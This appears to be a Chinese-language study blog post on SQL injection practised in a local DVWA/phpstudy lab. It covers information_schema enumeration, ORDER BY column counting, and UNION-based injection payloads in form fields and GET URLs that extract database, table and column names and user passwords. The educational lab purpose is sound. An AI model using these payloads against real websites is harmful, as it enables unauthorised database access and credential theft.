- 前置知识:sql
 - 前置的软件环境:预装了phpstudy_pro+dvwa,花了好长时间……时间主要浪费在听从chatgpt的建议装xampp上,卸载了mysql,重置了密码。其实使用xampp搭建环境也成功了,但是由于phpstudy教程比较多,在WWW文件夹下可直接放写好的前后端(xampp应该也可以,不确定),最后还是换成了phpstudy_pro。
 - 系统地学一下sql注入…之前只是知其然不知其所以然
 
SQL注入
- 一、 如何获取数据库信息
 - 1. show命令
 - 2. select+sql函数
 - 3. 系统库(如系统自带的库information_schema,有元信息)
 
- 二、 [本地数据库+phpstudy_pro下的php写的后端+简单html前端] 浅试一波
 - 1. 判断是否能够注入
 - 2. 得到库名
 - 3. 得到表名
 - 4. 得到列名
 - 5. 查询最终的数据
 
一、 如何获取数据库信息
1. show命令
show databases; --比如发现有dvwa这个库
use dvwa; -- 指定库名
show tables; --比如发现dvwa库下有guestbook 和 users 这两张表
show columns from dvwa.users; --指定库和表,显示有哪些列
 
2. select+sql函数
select database();
select user();
select version();
 
3. 系统库(如系统自带的库information_schema,有元信息)
| 系统库 | 描述 | 
|---|---|
| information schema | mysql服务器所有数据库的信息 | 
| mysql | 基存储数据库的用户、权限设置、关键字等 | 
| performance schema | 主要用于收集数据库服务器性能参数 | 
| sys | 数据来自performance schema | 
第一个第二个比较重要,第二个是存了用户名密码,第一个是库信息。
-- information_schema是一个库,SCHEMATA是该库下的一张表,schema_name是这张表的一列,存了所有真正的库
-- information_schema是一个库,TABLES是该库下的一张表,table_name是这张表的一列,存了所有真正的库中的表信息
-- information_schema是一个库,COLUMNS是该库下的一张表,column_name是这张表的一列,存了所有真正的库中的所有表的字段信息
select * from information_schema.SCHEMATA;
-- 示例1: 查所有真正的库的名字
select schema_name from information_schema.SCHEMATA; 
-- 示例2: 查指定库dvwa中所有表的名字
select table_name from information_schema.tables where table_schema = 'dvwa';
-- 示例3: 查指定库dvwa中指定表users的所有列的名字
select column_name from information_schema.COLUMNS where table_schema = 'dvwa' and table_name = 'users';
 
二、 [本地数据库+phpstudy_pro下的php写的后端+简单html前端] 浅试一波
例1:POST请求
<form align="center" action="login.php" method="post" enctype="multipart/form-data">
 
目的:使用库函数 select database();查询后台使用的数据库。
两个限制:
- 第一,网页本身对于用户名的select查询注释不掉,我们自己的select查询又需要一个select语句。这两条语句只能拼成一条语句查询,而不能像navicat里面自己查数据的时候用分号隔开。
 - 第二,查询的两条语句的字段数需要是一样的,并且数据类型也要相同(至少可转化)。
 
所以:
 ① 首先要搞清楚网页表单框框本身查询的语句是查了几列。思路是使用 order by 排序,由于order by 1 代表的是按第1列,order by 2 代表的是按第2列,那么只要查到order by i+1 报错的时候,说明本身有i列,不存在第 i+1 列。
 ② 如果是i列,而我查的database()只占位1列,则需要把i-1列补齐。
所以我们希望后台的查询语句是这样的:
 select * from test where user=' ' union select database(),1 ; -- ' and password='admin';
 
 
所以我们在输入框中填入的是 ' union select database(),1 ; --
 
 第一个查询到的就是数据库的名字,第二个1是我们补齐的1
例2.GET请求(直接在url写)
$res = mysqli_query($con, $sql);
 
针对url.php这个文件,我们发现使用的是mysqli_query而不是mysql_query函数,但是依然是不安全的,因为没有使用参数化查询的方式,仅仅用的是拼接。
1. 判断是否能够注入
此处,我们在最后添加’,以进行判断是否能够注入(这样后面就会多出来一个’,网页报错)
2. 得到库名
不直接打空格(之前某次ctf我处于”良好的编码习惯“打了空格死活进不去)而是使用加号作为空格进行拼接
- notes:比如我下面这段url中,使用的是get方法。我们知道sql查询语句-- 是注释,但是得跟一个空格才能真正注释掉,所以最后跟了一个加号,不加这个加号依旧会报错
 
http://localhost:8082/school/url.php?id=1%27%20order+by+1--+
 
首先还是用order by 来看一下究竟本身查了几列,从而判断自己需要添加几个字段进去以保证字段个数相同。发现到4报错,也就是查了三列
 那么构造以下查询即可查询database()
 
 为了不显示第一行的数据(有可能有的地方只允许显示一段),可以把id设为-1:

3. 得到表名
- 此处思路是使用一、3.的系统库的命令
select table_name from information_schema.tables where table_schema = 'dvwa';查询。由于我们刚刚得到了库名wuya,所以table_schema = ‘wuya’。 - 无涯老师讲的是,最终要构造一个这样的类型:
 
 select * from users where id=-1 union select 1, 1, table_name from information_schema.TABLES where table_schema = 'wuya';
 
所以需要构造
 http://localhost:8082/school/url.php?id=-1' 
union 
select 1, 1, table_name from information_schema.TABLES where table_schema = 'wuya'--+
 
- [进化]但是,由于这是线上环境,只会显示一个格子的内容,也就是table_name显示不全,所以我们要使用group_concat()进行拼接。构造
 
http://localhost:8082/school/url.php?id=-1' 
union 
select 1, 1, group_concat(table_name) from information_schema.TABLES where table_schema = 'wuya'--+
 
- [我的版本]其实到这个时候我还是运行不出来,一直报错,一直想了几种方案,总算找到问题所在,好像是编码有问题,在1,1,table_name后面加上限定:
 
http://localhost:8082/school/url.php?id=-1' 
union 
select 1 COLLATE utf8_general_ci, 1 COLLATE utf8_general_ci, group_concat(table_name) COLLATE utf8_general_ci 
from information_schema.TABLES where table_schema = 'wuya'--+
 
这样总算不报错了,查出来两个表,分别是test和users
 
- 注:还有一个问题,我本来感觉数据类型必须要匹配,比如原本数据库查了id,user, password,此时的类型很可能是int,varchar,varchar。如果此时我们构造的是table_name,1,1就有可能出问题。但是我试了一下依然查出来了,然后我就感到很奇怪,我去本地数据库一看,哦id为varchar()类型,那没事了


 
4. 得到列名
依旧是之前的语句
 select column_name from information_schema.COLUMNS where table_schema = 'dvwa' and table_name = 'users';
 
所以我们也沿袭刚刚的变成
select * from users where id=-1 
union 
select 1 COLLATE utf8_general_ci, 1 COLLATE utf8_general_ci, group_concat(column_name) COLLATE utf8_general_ci 
from information_schema.COLUMNS where table_schema = 'wuya' and table_name = 'users';
 

5. 查询最终的数据
select * from users where id=-1 
union 
select id,name,password
from wuya.users;
 














![[Python从零到壹] 六十六.图像识别及经典案例篇之基于机器学习的图像分类](https://img-blog.csdnimg.cn/139d1b6497224e069e1449a76536d36b.png#pic_center)




